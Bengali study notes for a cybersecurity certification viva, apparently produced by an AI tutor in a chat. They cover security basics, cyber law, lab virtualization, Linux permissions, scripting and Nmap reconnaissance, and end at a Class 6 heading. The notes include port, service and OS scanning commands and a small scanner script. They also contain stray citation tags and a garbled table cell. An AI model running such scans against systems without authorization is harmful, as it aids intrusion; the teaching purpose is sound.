



Class 1: Introduction to Information Security & System Concepts

সিলেবাসের অংশ: Interpret Information Security System [OUCyS001L4V!]

১. মূল তত্ত্ব (Core Theory)

ভাইবা বোর্ডে সফল হতে হলে তথ্যের নিরাপত্তা সংক্রান্ত বেসিক টার্মিনোলজিগুলো একদম পরিষ্কার থাকতে হবে:

- **CIA Triad:** তথ্যের নিরাপত্তার মূল ভিত্তি ৩টি উপাদান।
 - **Confidentiality** (গোপনীয়তা): শুধুমাত্র অনুমোদিত ব্যক্তিরাই তথ্য দেখতে পাবেন (যেমন: Encryption, Access Control)।
 - **Integrity** (অখণ্ডতা): তথ্য যেন অবৈধভাবে পরিবর্তিত না হয় (যেমন: Hashing - MD5, SHA-256)।
 - **Availability** (সহজলভ্যতা): প্রয়োজন অনুযায়ী সর্বদা তথ্য যেন সচল থাকে (যেমন: Backups, Redundancy)।
- **Asset, Vulnerability, Threat, Risk:**
 - **Asset:** যা আমরা রক্ষা করতে চাই (Data, Server)।
 - **Vulnerability:** সিস্টেমের দুর্বলতা বা খুঁত (যেমন: Outdated Software)।
 - **Threat:** যেকোনো সম্ভাব্য বিপদ যা দুর্বলতাকে ব্যবহার করে ক্ষতি করতে পারে (যেমন: Hacker, Malware)।
 - **Risk:** দুর্বলতা এবং থ্রেটের সংমিশ্রণে যে সম্ভাব্য ক্ষতি হওয়ার সম্ভাবনা তৈরি হয় ($\text{Risk} = \text{Threat} \times \text{Vulnerability}$)।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

- **Hashing Check:** লিনাক্স বা উইন্ডোজ টার্মিনালে একটি ফাইলের ইন্টিগ্রিটি চেক করার জন্য হ্যাশ ভ্যালু বের করার প্র্যাকটিস করুন।
 - কমান্ড: `sha256sum filename.txt` (Linux) অথবা `CertUtil -hashfile filename.txt SHA256` (Windows)।
- **Network Baseline:** আপনার নিজস্ব সিস্টেমের আইপি, গেটওয়ে এবং ডিএনএস সেটিংস চেক করুন (`ifconfig` বা `ip a` কমান্ড ব্যবহার করে)।

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

ভাইবা বোর্ডে আপনাকে যেভাবে প্রশ্ন করা হতে পারে এবং আপনি যেভাবে উত্তর দিবেন:

- প্রশ্ন ১: **CIA Triad** কী? সাইবার সিকিউরিটিতে এর গুরুত্ব বুঝিয়ে বলুন।
 - উত্তর: CIA Triad হলো Confidentiality, Integrity, এবং Availability। এটি সাইবার সিকিউরিটির মূল মডেল। যেকোনো সিস্টেমকে নিরাপদ করতে হলে এই তিনটি নিশ্চিত করতে হয়—তথ্য গোপন রাখা, তথ্যের সঠিকতা বজায় রাখা এবং যখন প্রয়োজন তখন তথ্যটি সচল বা সহজলভ্য রাখা।
- প্রশ্ন ২: **Vulnerability** এবং **Risk** এর মধ্যে পার্থক্য কী?
 - উত্তর: Vulnerability হলো সিস্টেমের ভেতরের একটি নির্দিষ্ট দুর্বলতা বা গর্ত। আর Risk হলো সেই দুর্বলতার কারণে পুরো ব্যবসার বা সিস্টেমের যে ক্ষতি হওয়ার সম্ভাবনা তৈরি হয় তা। দুর্বলতা না থাকলে কোনো রিস্ক থাকে না।
- প্রশ্ন ৩: আপনি একটি ফাইলের **Integrity** (অখণ্ডতা) কীভাবে নিশ্চিত করবেন?
 - উত্তর: আমি ফাইলের ক্রিপ্টোগ্রাফিক হ্যাশ (যেমন: SHA-256) ব্যবহার করব। ফাইলটি পাঠানোর আগে এবং পাওয়ার পরে হ্যাশ ভ্যালু মেলাবো। যদি হ্যাশ মিলে যায়, তবে ফাইলের ইন্টিগ্রিটি ঠিক আছে।



Class 2: Hacking Techniques & Cyber Law

সিলেবাসের অংশ: Interpret Hacking Techniques, Identify types of Attacks, & Interpret Cyber Law [OUCyS001L4V!]

১. মূল তত্ত্ব (Core Theory)

ভাইবা বোর্ডে হ্যাকিংয়ের প্রকারভেদ, আক্রমণের ধরন এবং আইনগত বিষয়গুলো থেকে প্রচুর প্রশ্ন করা হয়।

ক. হ্যাকার ও হ্যাকিংয়ের প্রকারভেদ (Types of Hackers)

- **White Hat Hackers (Ethical Hackers):** এরা অনুমতি নিয়ে, সিস্টেমের নিরাপত্তা বাড়ানোর জন্য কাজ করেন।
- **Black Hat Hackers:** এরা সম্পূর্ণ অবৈধভাবে, নিজের স্বার্থ বা ক্ষতি করার উদ্দেশ্যে সিস্টেমে প্রবেশ করেন।
- **Grey Hat Hackers:** এরা অনুমতি ছাড়া সিস্টেমে দুর্বলতা খোঁজেন, কিন্তু সাধারণত ক্ষতি করেন না; বরং ডিফেন্ডারদের অবহিত করেন বা রিওয়ার্ড দাবি করেন।

খ. আক্রমণের ধরন (Types of Attacks)

- **Passive Attack:** হ্যাকার সিস্টেমে কোনো পরিবর্তন না করে শুধু ডাটা বা ট্রাফিক পর্যবেক্ষণ (Sniffing/Eavesdropping) করে। (যেমন: Wireshark দিয়ে ট্রাফিক দেখা)।
- **Active Attack:** হ্যাকার সরাসরি সিস্টেমে পরিবর্তন আনে বা ক্ষতি করার চেষ্টা করে। (যেমন: DDoS, SQL Injection)।

গ. সাইবার আইন (Cyber Law in Bangladesh)

বাংলাদেশ সাইবার সিকিউরিটি আইন (Cyber Security Act - CSA) অনুযায়ী:

- অনুমতি ছাড়া যেকোনো কম্পিউটার, ডিজিটাল ডিভাইস বা নেটওয়ার্কে প্রবেশ করা এবং ক্ষতি করা দণ্ডনীয় অপরাধ।
- পেনটেস্টিং বা সিকিউরিটি রিসার্চ করার সময় অবশ্যই ক্লায়েন্টের কাছ থেকে **Written Consent** (লিখিত অনুমতি) বা **Scope of Work (SoW)** ডকুমেন্ট থাকতে হবে। লিখিত চুক্তি ছাড়া পেনটেস্টিং করা সম্পূর্ণ অবৈধ।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

- আইনগত প্রস্তুতি (Legal Documentation): একটি ডামি **Non-Disclosure Agreement (NDA)** এবং **Authorization Letter** কেমন হয় তা ইন্টারনেটে দেখে নিন। পেনটেস্টার হিসেবে আপনার প্রথম কাজই হলো এই ডকুমেন্টগুলো রেডি করা।
- **Passive Information Gathering:** কোনো অ্যাটাক না করে একটি পাবলিক ডোমেইনের ব্যাকগ্রাউন্ড টেকনোলজি কী তা জানার চেষ্টা করুন (যেমন: ব্রাউজারে Wappalyzer এক্সটেনশন বা whois কমান্ড ব্যবহার করে)।

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: একজন ব্ল্যাক হ্যাট এবং হোয়াইট হ্যাট হ্যাকারের মধ্যে প্রধান পার্থক্য কী?
- উত্তর: প্রধান পার্থক্য হলো অনুমতি (**Authorization**) এবং উদ্দেশ্য (**Intent**)। হোয়াইট হ্যাট হ্যাকার মালিকের লিখিত অনুমতি নিয়ে সিস্টেমের নিরাপত্তা উন্নত করার উদ্দেশ্যে কাজ করেন। অন্যদিকে, ব্ল্যাক হ্যাট হ্যাকার কোনো অনুমতি ছাড়া সম্পূর্ণ অবৈধভাবে ক্ষতি করার উদ্দেশ্যে সিস্টেমে হ্যাক করেন।
- প্রশ্ন ২: পেনটেস্টিং শুরু করার আগে আইনি জটিলতা এড়াতে আপনার করণীয় কী?
- উত্তর: যেকোনো পেনটেস্টিং শুরু করার আগে ক্লায়েন্টের কাছ থেকে একটি লিখিত চুক্তিপত্র বা **Scope of Work (SoW)** এবং **Letter of Authorization (LoA)** নিতে হবে। এতে স্পষ্টভাবে উল্লেখ থাকবে আমি কোন কোন আইপি বা ডোমেইনে টেস্ট করতে পারব এবং কখন করতে পারব। এটি ছাড়া কাজ শুরু করলে তা সাইবার অপরাধ হিসেবে গণ্য হবে।
- প্রশ্ন ৩: **Passive Attack** এবং **Active Attack** এর মধ্যে পার্থক্য বুঝিয়ে বলুন।
- উত্তর: প্যাসিভ অ্যাটাকে হ্যাকার সিস্টেম বা ডাটার কোনো পরিবর্তন করে না, শুধু ট্রাফিক বা মেসেজ মনিটর করে তথ্য চুরি করার চেষ্টা করে, যা ধরা কঠিন। আর অ্যাক্টিভ অ্যাটাকে হ্যাকার সরাসরি সিস্টেমের ক্ষতি করে, ডাটা পরিবর্তন করে বা সার্ভিস বন্ধ করে দেয় (যেমন: DoS অ্যাটাক)।



Class 3: System Administration & Virtualization

সিলেবাসের অংশ: Apply Operating Systems Administration Concepts — Install Virtual machine & Install OS [OUCyS002L4V!]

১. মূল তত্ত্ব (Core Theory)

পেনটেস্টিং ল্যাব তৈরি এবং পরীক্ষার দিন বিভিন্ন টুলস রান করার জন্য ভার্চুয়ালাইজেশন এবং অপারেটিং সিস্টেম অ্যাডমিনিস্ট্রেশনের জ্ঞান থাকা বাধ্যতামূলক।

ক. ভার্চুয়ালাইজেশন (Virtualization) কী?

ভার্চুয়ালাইজেশন হলো এমন একটি প্রযুক্তি যার মাধ্যমে একটিমাত্র ফিজিক্যাল কম্পিউটারের (Host) হার্ডওয়্যার রিসোর্স (CPU, RAM, Storage) ভাগ করে একাধিক স্বাধীন ভার্চুয়াল কম্পিউটার (Guest OS) চালানো যায়।

- **Hypervisor:** যে সফটওয়্যারের মাধ্যমে ভার্চুয়াল মেশিন (VM) তৈরি ও পরিচালনা করা হয়।
 - **Type-1 (Bare-metal):** সরাসরি হার্ডওয়্যারের ওপর ইনস্টল হয় (যেমন: VMware ESXi, Proxmox)।
 - **Type-2 (Hosted):** একটি মেইন অপারেটিং সিস্টেমের ওপর সফটওয়্যার হিসেবে রান করে (যেমন: VirtualBox, VMware Workstation)। NSDA ল্যাবে সাধারণত Type-2 হাইপারভাইজর ব্যবহার করা হয়।

খ. পেনটেস্টিংয়ের জন্য প্রয়োজনীয় OS

- **Kali Linux / Parrot OS:** এগুলো লিনাক্স-ভিত্তিক অপারেটিং সিস্টেম, যা বিশেষ করে পেনটেস্টিং, ডিজিটাল ফরেনসিক এবং ভালনারেবিলিটি অ্যাসেসমেন্টের জন্য তৈরি। এতে শত শত সিকিউরিটি টুলস প্রি-ইনস্টলড থাকে।
- **Target OS:** মেটাসপ্লোয়েটেবল (Metasploitable) বা উইন্ডোজের পুরনো ভার্সন, যা ল্যাবে আক্রমণ করার প্র্যাকটিস করার জন্য (Target হিসেবে) ব্যবহার করা হয়।

২. ল্যাব ও প্র্যাক্টিক্যাল টাস্ক (Practical Tasks)

পরীক্ষার হলে আপনাকে একটি ভার্চুয়াল এনভায়রনমেন্ট সেটআপ করতে দেওয়া হতে পারে।

1. **VirtualBox/VMware** ইনস্টলেশন: আপনার কম্পিউটারে VirtualBox বা VMware Workstation ইনস্টল করুন।
2. **Kali Linux VM** ইমপোর্ট/ইনস্টল: Kali Linux-এর অফিশিয়াল ওয়েবসাইট থেকে .ova ফাইল ডাউনলোড করে তা হাইপারভাইজরে ইমপোর্ট করুন অথবা ISO ফাইল দিয়ে স্ক্যাচ থেকে লিনাক্স ইনস্টল করার প্র্যাকটিস করুন।
3. **Network Settings** ঠিক করা:
 - **NAT Mode:** ভার্চুয়াল মেশিনটি হোস্ট কম্পিউটারের মাধ্যমে ইন্টারনেট পাবে, কিন্তু লোকাল নেটওয়ার্কের অন্য পিসি একে দেখতে পাবে না।
 - **Bridged Mode:** ভার্চুয়াল মেশিনটি সরাসরি আপনার রাউটার থেকে একটি স্বাধীন আইপি (IP) পাবে, যেন এটি লোকাল নেটওয়ার্কের একটি আলাদা ফিজিক্যাল কম্পিউটার। (পেনটেস্টিং ল্যাবের জন্য এটি বেশি ব্যবহৃত হয়)।
 - **Host-Only Mode:** শুধুমাত্র হোস্ট কম্পিউটার এবং ভার্চুয়াল মেশিনগুলোর মধ্যে একটি নিজস্ব প্রাইভেট নেটওয়ার্ক তৈরি হবে, কোনো ইন্টারনেট কানেকশন থাকবে না (নিরাপদ টেস্টিংয়ের জন্য উপযুক্ত)।

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: Type-1 এবং Type-2 Hypervisor এর মধ্যে পার্থক্য কী?
- উত্তর: Type-1 হাইপারভাইজর সরাসরি কম্পিউটারের হার্ডওয়্যারের ওপর বসে কাজ করে (কোনো হোস্ট ওএস লাগে না), এটি এন্টারপ্রাইজ সার্ভারে ব্যবহৃত হয়। আর Type-2 হাইপারভাইজর একটি প্রচলিত অপারেটিং সিস্টেমের (যেমন: Windows বা macOS) ওপর একটি সাধারণ সফটওয়্যার হিসেবে ইনস্টল হয়, যেমন- VirtualBox।

- প্রশ্ন ২: পেনটেস্টিং ল্যাব সেটআপ করার সময় কেন *Bridged Network* বা *Host-Only Network* ব্যবহার করা উচিত?
- উত্তর: Bridged Network ব্যবহার করলে ভার্চুয়াল মেশিনটি মূল নেটওয়ার্কের একটি অংশ হয়ে যায়, ফলে অন্য ডিভাইস বা টাগেটকে স্ক্যান করা সহজ হয়। আর Host-Only নেটওয়ার্ক ব্যবহার করা হয় যখন আমরা কোনো বিপজ্জনক ম্যালওয়্যার বা এক্সপ্লয়েট টেস্ট করি, যেন তা আমাদের মূল লোকাল নেটওয়ার্ক বা ইন্টারনেটে ছড়িয়ে না পড়ে।
- প্রশ্ন ৩: *Linux* সিস্টেমে একটি ফাইলের পারমিশন পরিবর্তন করার এবং রুট (*Root*) প্রিভিলেজ পাওয়ার কমান্ড কী কী?
- উত্তর: ফাইলের পারমিশন পরিবর্তন করার কমান্ড হলো `chmod` (যেমন: `chmod +x script.sh`)। আর সাময়িকভাবে রুট বা অ্যাডমিনিস্ট্রেটর প্রিভিলেজে কোনো কমান্ড রান করার জন্য কমান্ডের শুরুতে `sudo` ব্যবহার করতে হয় (যেমন: `sudo apt update`)।

লিনাক্স (*Linux*) সিস্টেমে সিকিউরিটি বজায় রাখার জন্য **Read (r)**, **Write (w)**, এবং **Execute (x)** পারমিশনগুলো ৩টি আলাদা স্তরের বা শ্রেণীর ব্যবহারকারীদের মধ্যে ভাগ করে দেওয়া হয়।

ভাইবা বোর্ডে ভালো করার জন্য এই ৩টি শ্রেণী এবং তাদের হিসাবটা খুব ভালোভাবে বুঝতে হবে। নিচে বিস্তারিত ভেঙে দেওয়া হলো:

১. পারমিশন কারা পায়? (The Three User Classes)

লিনাক্সে যেকোনো ফাইলের মালিকানা ৩টি গ্রুপে বিভক্ত:

1. **Owner / User (u)**: যিনি ফাইলটি তৈরি করেছেন (Creator)। সাধারণত সিস্টেমে ফাইলটির ওপর তার সবচেয়ে বেশি নিয়ন্ত্রণ থাকে।
2. **Group (g)**: অনেক সময় একাধিক ব্যবহারকারীকে একটি নির্দিষ্ট গ্রুপে রাখা হয় (যেমন: `developers` গ্রুপ)। সেই গ্রুপের অন্তর্ভুক্ত সকল মেম্বার এই পারমিশন পাবেন।
3. **Others (o)**: ওনার এবং নির্দিষ্ট গ্রুপ ছাড়া পৃথিবীর বাকি সমস্ত ব্যবহারকারী (সিস্টেমের অন্য যেকোনো সাধারণ ইউজার) এই ক্যাটাগরিতে পড়েন।

২. পারমিশন কিভাবে পায়? (How they get Permissions)

টার্মিনালে যখন আপনি `ls -l` কমান্ড দেন, তখন ফাইলের পাশে এরকম ১০টি অক্ষরের একটি কোড দেখতে পাবেন:

`-rwxr-xr--`

এই ১০টি ক্যারেক্টারকে ৪টি ভাগে ভাগ করে হিসাব করা হয়:

পজিশন	নির্দেশ করে	উদাহরণ (<code>-rwxr-xr--</code>)	অর্থ
১ম অক্ষর	ফাইলের ধরন	-	এটি একটি সাধারণ ফাইল (ডিরেক্টরি হলে <code>d</code> থাকত)
২য়, ৩য়, ৪র্থ	Owner (u)	<code>rwx</code>	ওনার পড়তে, লিখতে এবং রান করতে পারবেন।

view, ৬ষ্ঠ, ৭ম	Group (g)	r-x	গ্রুপের সদস্যরা পড়তে ও রান করতে পারবেন, কিন্তু পরিবর্তন (w নেই) করতে পারবেন না।
৮ম, ৯ম, ১০ম	Others (o)	r--	বাকি সবাই শুধু ফাইলটি পড়তে পারবেন, এডিট বা রান করতে পারবেন না।

৩. সংখ্যার মাধ্যমে পারমিশনের হিসাব (Octal Notation)

লিনাক্সে পারমিশন দেওয়ার সবচেয়ে জনপ্রিয় ও প্রফেশনাল পদ্ধতি হলো সংখ্যার ব্যবহার। এর মানগুলো ফিক্সড:

- **Read (r)** = \$4\$
- **Write (w)** = \$2\$
- **Execute (x)** = \$1\$
- **No Permission (-)** = \$0\$

কারণ কি পারমিশন পাবে তা এই সংখ্যাগুলো যোগ করে নির্ধারণ করা হয়। যেমন:

উদাহরণ: `chmod 755 script.sh`

এখানে ৩টি সংখ্যা দিয়ে যথাক্রমে Owner, Group এবং Others এর পারমিশন বোঝানো হয়েছে:

- ৭ (**Owner**): \$4 (r) + 2 (w) + 1 (x) = 7\$ $\rightarrow$ ওনার Read, Write, Execute সব পাবেন।
- ৫ (**Group**): \$4 (r) + 0 (-) + 1 (x) = 5\$ $\rightarrow$ গ্রুপের মেম্বাররা শুধু Read এবং Execute পাবেন।
- ৫ (**Others**): \$4 (r) + 0 (-) + 1 (x) = 5\$ $\rightarrow$ বাকি অন্য সবাই শুধু Read এবং Execute পাবেন।

উদাহরণ: `chmod 644 document.txt`

- ৬: \$4+2+0 = 6\$ (Owner পাবে Read, Write)
- ৪: \$4+0+0 = 4\$ (Group পাবে শুধু Read)
- ৪: \$4+0+0 = 4\$ (Others পাবে শুধু Read)

ভাইবা টিপস: ভাইবা বোর্ডে এক্সামিনার যদি জিজ্ঞেস করেন, "আমি ওনারকে সব পারমিশন দিতে চাই, আর বাকি কাউকে কোনো পারমিশন দিতে চাই না—কমান্ড কি হবে?"

আপনার উত্তর হবে: `chmod 700 filename` (কারণ ওনারের জন্য \$4+2+1=7\$, বাকিদের জন্য \$0\$)।



Class 4: Programming Concepts (HTML/CSS, PowerShell & Shell Scripting)

সিলেবাসের অংশ: Apply Programming Concepts — Use HTML and CSS, Use PowerShell, & Apply Shell Scripts [cite: 3, 10]

পেনটেস্টিং বা এথিক্যাল হ্যাকিংয়ে প্রোগ্রামিং এবং স্ক্রিপ্টিং জানার মূল উদ্দেশ্য হলো—কোনো ওয়েব পেজের সোর্স কোড দেখে তার দুর্বলতা ধরা এবং বারবার করতে হয় এমন কাজগুলোকে (যেমন: অটোমেটেড স্ক্যানিং) স্ক্রিপ্টের মাধ্যমে সহজ করা।

১. মূল তত্ত্ব (Core Theory)

ক. **HTML ও CSS** (ওয়েব সিকিউরিটির জন্য)

- **HTML (HyperText Markup Language):** এটি ওয়েবসাইটের কঙ্কাল বা স্ট্রাকচার তৈরি করে [cite: 10]। পেনটেস্টার হিসেবে আপনাকে Form Input, Hidden Fields, এবং Script Tag (<script>) আইডেন্টিফাই করা শিখতে হবে, যা **Cross-Site Scripting (XSS)** এবং **SQL Injection** এর মতো অ্যাটাক বুঝতে সাহায্য করে।
- **CSS (Cascading Style Sheets):** এটি সাইটের ডিজাইন বা স্টাইল নিয়ন্ত্রণ করে। হ্যাকাররা অনেক সময় CSS ব্যবহার করে ডিফেন্ডারদের চোখ ফাঁকি দিতে **Clickjacking** বা **Phishing Link Hidden** করার কাজ করে থাকে।

খ. উইন্ডোজ অটোমেশন: PowerShell

- **PowerShell** হলো উইন্ডোজের একটি অ্যাডভান্সড কমান্ড-লাইন শেল এবং স্ক্রিপ্টিং ল্যাঙ্গুয়েজ [cite: 10]। উইন্ডোজ সিস্টেমে পেনটেস্টিং (Active Directory Exploitation বা Post-Exploitation) করার সময় এটি সবচেয়ে বেশি ব্যবহৃত হয়। এর কমান্ডগুলোকে **Cmdlet** বলা হয়, যা Verb-Noun ফরম্যাটে থাকে (যেমন: Get-Process, Get-Service)।

গ. লিনাক্স অটোমেশন: Bash/Shell Scripting

- লিনাক্স টার্মিনালে পর পর অনেকগুলো কমান্ড ম্যানুয়ালি না লিখে, একটি ফাইলে লিখে একবারে রান করার প্রক্রিয়াই হলো **Shell Scripting** [cite: 10]। এর এক্সটেনশন সাধারণত .sh হয়ে থাকে [cite: 10]।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

টাস্ক ১: একটি বেসিক শেল স্ক্রিপ্ট তৈরি (Automated Nmap Banner Grabbing)

লিনাক্স টার্মিনালে একটি স্ক্রিপ্ট তৈরি করুন যা ইউজারের কাছ থেকে একটি আইপি (IP) ইনপুট নিবে এবং অটোমেটিক সেটির পোর্ট স্ক্যান করবে।

1. টার্মিনালে লিখুন: nano scanner.sh
2. নিচের কোডটি লিখুন:

Bash

```
#!/bin/bash
# এটি একটি সাধারণ অটোমেটেড স্ক্যানিং স্ক্রিপ্ট
```

```
echo "Target IP টি লিখুন:"
```

```
read ip
```

```
echo "$ip এর ওপর Nmap স্ক্যান শুরু হচ্ছে..."
```

```
nmap -sV -F $ip
```

3. ফাইলটি সেভ করে বের হয়ে আসুন (Ctrl+O, তারপর Enter, এবং Ctrl+X)।
4. ফাইলটিকে এক্সিকিউটেবল পারমিশন দিন: chmod +x scanner.sh
5. রান করুন: ./scanner.sh

টাস্ক ২: উইন্ডোজ পাওয়ারশেল বেসিকস

উইন্ডোজের PowerShell ওপেন করে নিচের কমান্ডগুলো প্র্যাকটিস করুন:

- Get-ExecutionPolicy (সিস্টেমে স্ক্রিপ্ট রান করার পারমিশন চেক করা)।
- Set-ExecutionPolicy RemoteSigned (স্ক্রিপ্ট রান করার অনুমতি দেওয়া, যা পেনটেস্টিংয়ের সময় প্রায়ই করতে হয়)।

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: শেল স্ক্রিপ্টের একদম শুরুতে `#!/bin/bash` লেখার কারণ কি? একে কি বলা হয়?
- উত্তর: একে **Shebang** (শী-ব্যাং) বলা হয়। এর কাজ হলো অপারেটিং সিস্টেমকে নির্দেশ করা যে, এই ফাইলটি রান করার জন্য কোন ইন্টারপ্রেটার (Interpreter) ব্যবহার করতে হবে। এখানে `/bin/bash` দিয়ে বোঝানো হয়েছে স্ক্রিপ্টটি Bash শেলের মাধ্যমে রান হবে।

- প্রশ্ন ২: পাওয়ারশেল (PowerShell) এবং সাধারণ কমান্ড প্রম্পট (CMD) এর মধ্যে মূল পার্থক্য কি?
- উত্তর: CMD হলো উইন্ডোজের পুরনো এবং সাধারণ টেক্সট-বেসড কমান্ড লাইন টুল। অন্যদিকে, PowerShell হলো একটি মডার্ন অবজেক্ট-ওরিয়েন্টেড (Object-Oriented) ফ্রেমওয়ার্ক যা .NET এর ওপর ভিত্তি করে তৈরি। PowerShell দিয়ে উইন্ডোজের ইন্টারনাল অ্যাডমিনিস্ট্রেশন, স্ক্রিপ্টিং এবং সিকিউরিটি কনফিগারেশন অনেক গভীরভাবে নিয়ন্ত্রণ করা যায়, যা CMD দিয়ে সম্ভব নয়।
- প্রশ্ন ৩: একজন পেনটেস্টারের জন্য HTML সোর্স কোড অ্যানালাইসিস করা কেন গুরুত্বপূর্ণ?
- উত্তর: HTML সোর্স কোড অ্যানালাইসিস করে আমরা ওয়েবসাইটের ইনপুট ফিল্ডগুলো (যেমন: লগইন ফর্ম, সার্চ বক্স) দেখতে পারি। হ্যাকাররা এই ইনপুট ফিল্ডের সিকিউরিটি চেক না থাকলে সেখানে ক্ষতিকর জাভাস্ক্রিপ্ট কোড পুশ করে XSS (Cross-Site Scripting) অ্যাটাক চালাতে পারে। এছাড়া সোর্স কোডে অনেক সময় ডেভেলপারদের ভুলে রেখে যাওয়া কমেন্ট বা হিডেন প্যারামিটার পাওয়া যায়, যা তথ্যের সুরক্ষাকে ঝুঁকিতে ফেলে।

আপনার জন্য কাজ (Task for You):

টাস্ক ১-এর শেল স্ক্রিপ্টটি আপনার লিনাক্স মেশিনে অবশ্যই প্রয়োগ করবেন এবং Shebang ও PowerShell-এর ভাইবা প্রশ্নগুলো মুখস্থ করে নিবেন। পড়া সম্পূর্ণ হলে নিচে লিখুন "৫ম ক্লাস" বা "Class 5"।

Class 5: Operating System Administration & Basic Hacking Tools

সিলেবাসের অংশ: Apply Operating Systems Administration Concepts — Perform Hacking using hacking tool [OUCyS002L4V!]

৪র্থ ক্লাসে আমরা স্ক্রিপ্টিং শিখেছি। আজ ৫ম ক্লাসে আমরা দেখব কীভাবে লিনাক্স এবং উইন্ডোজ অপারেটিং সিস্টেমের অ্যাডমিনিস্ট্রেশন কনসেপ্ট ব্যবহার করে এবং বেসিক হ্যাকিং টুলস (যেমন: Nmap) দিয়ে ইনফরমেশন গ্যাডারিং বা স্ক্যানিং করতে হয়।

১. মূল তত্ত্ব (Core Theory)

পেনটেস্টিংয়ের প্রথম এবং সবচেয়ে গুরুত্বপূর্ণ ধাপগুলোর একটি হলো **Information Gathering** (তথ্য সংগ্রহ) বা **Reconnaissance**। আপনি টার্গেট সম্পর্কে যত বেশি জানবেন, আপনার অ্যাটাক তত বেশি নিখুঁত হবে।

ক. নেটওয়ার্ক স্ক্যানিং (Network Scanning)

টার্গেট সিস্টেমে কোন কোন পোর্ট খোলা আছে, কি কি সার্ভিস রান করছে এবং ওএস (OS) এর ভার্সন কী—তা খুঁজে বের করার প্রক্রিয়াকে স্ক্যানিং বলে।

খ. Nmap (Network Mapper)

Nmap হলো পৃথিবীর সবচেয়ে জনপ্রিয় ওপেন সোর্স নেটওয়ার্ক স্ক্যানিং এবং সিকিউরিটি অডিটিং টুল। এটি কালা লিনাক্সে প্রি-ইনস্টলড থাকে। এটি মূলত ৩টি জিনিস আইডেন্টিফাই করতে সাহায্য করে:

1. **Live Hosts:** নেটওয়ার্কে কোন কোন ডিভাইস সচল (Up) আছে।
2. **Open Ports:** ডিভাইসের কোন কোন পোর্ট খোলা।
3. **Services & OS:** সেই পোর্টে কোন সফটওয়্যার বা সার্ভিস (যেমন: Apache, OpenSSH) এবং কোন অপারেটিং সিস্টেম চলছে।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

পরীক্ষার হলে আপনাকে একটি নির্দিষ্ট আইপি দেওয়া হবে এবং বলা হবে এটির ওপেন পোর্ট ও সার্ভিস বের করতে। লিনাক্স টার্মিনালে নিচের কমান্ডগুলো প্রয়োগ করুন:

- বেসিক পিং স্ক্যান (Host Discovery):

```
• Bash
```

```
nmap -sn 192.168.1.0/24
```

- (ব্যখ্যা: আপনার লোকাল নেটওয়ার্কে কোন কোন ডিভাইস সচল আছে তা কোনো পোর্ট স্ক্যান না করেই দ্রুত বের করবে।)
- নির্দিষ্ট পোর্ট এবং সার্ভিস ভার্সন স্ক্যান (**Most Important for Exam**):

• Bash

nmap -sV 192.168.1.50

•

- (ব্যখ্যা: -sV কমান্ডের মাধ্যমে টার্গেটের খোলা পোর্টে কি কি সার্ভিস এবং তাদের সুনির্দিষ্ট ভার্সন বা সংস্করণ রান করছে তা জানা যায়।)
- অপারেটিং সিস্টেম (**OS**) ডিটেকশন:

• Bash

nmap -O 192.168.1.50

•

- (ব্যখ্যা: -O ফ্লাগ ব্যবহার করে টার্গেট মেশিনটি *Windows, Linux* নাকি অন্য কোনো ওএস ব্যবহার করছে তা অনুমান করা যায়।)

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: Nmap-এ -sV এবং -O অপশন দুটির কাজ কী?
- উত্তর: Nmap-এ -sV অপশনটি ব্যবহার করা হয় **Service Version Detection**-এর জন্য, যা খোলা পোর্টে রান করা সফটওয়্যারের সঠিক ভার্সন দেখায়। আর -O অপশনটি ব্যবহার করা হয় **Operating System Detection**-এর জন্য, যা টার্গেট ডিভাইসটি কোন ওএস (যেমন: লিনাক্স বা উইন্ডোজ) রান করছে তা সনাক্ত করে।
- প্রশ্ন ২: পেনটেস্টিংয়ে "Banner Grabbing" বলতে কী বোঝায়?
- উত্তর: ব্যানার গ্র্যাবিং হলো এমন একটি টেকনিক যার মাধ্যমে কোনো ওপেন পোর্টের সার্ভিস থেকে আসা ওয়েলকাম মেসেজ বা "ব্যানার" পড়ে সেই সফটওয়্যারের নাম এবং ভার্সন জেনে নেওয়া যায়। Nmap-এর -sV কমান্ড বা Netcat (nc) দিয়ে এটি করা হয়। এই ভার্সন নম্বরটি দিয়ে পরবর্তীতে ইন্টারনেটে সার্চ করে ওই সিস্টেমের নির্দিষ্ট দুর্বলতা (Exploit) খুঁজে বের করা হয়।
- প্রশ্ন ৩: একটি পোর্টের স্ট্যাটাস যদি Nmap-এ "Filtered" দেখায়, তবে তার মানে কী?
- উত্তর: পোর্টের স্ট্যাটাস "Filtered" দেখানোর মানে হলো Nmap ওই পোর্টে পৌঁছাতে পারছে না বা প্যাকেট রেসপন্স ট্র্যাকিং বাধাগ্রস্ত হচ্ছে। সাধারণত টার্গেট সিস্টেমে কোনো **Firewall** (ফায়ারওয়াল) বা IDS সচল থাকলে তা Nmap-এর স্ক্যানিং প্যাকেটকে ড্রপ বা ব্লক করে দেয়, যার ফলে ওটি ফিল্টার্ড দেখায়।

আপনার জন্য কাজ (**Task for You**):

আপনার ল্যাবে Kali Linux ওপেন করে আপনার রাউটার বা কোনো ডামি আইপি ওপর এই ৩টি Nmap কমান্ড রান করে আউটপুটগুলো নিজে প্র্যাকটিস করুন। ভাইবার প্রশ্নগুলো মুখস্থ করে নিন। পড়া শেষ হলে নিচে লিখুন "৬ষ্ঠ ক্লাস" বা "Class 6"।



Class 6: Malicious Code Analysis (Malware Types & Concepts)

সিলেবাসের অংশ: Analyze Malicious Code — Interpret Malicious Code & Identify Malwares [OUCyS003L4V!]

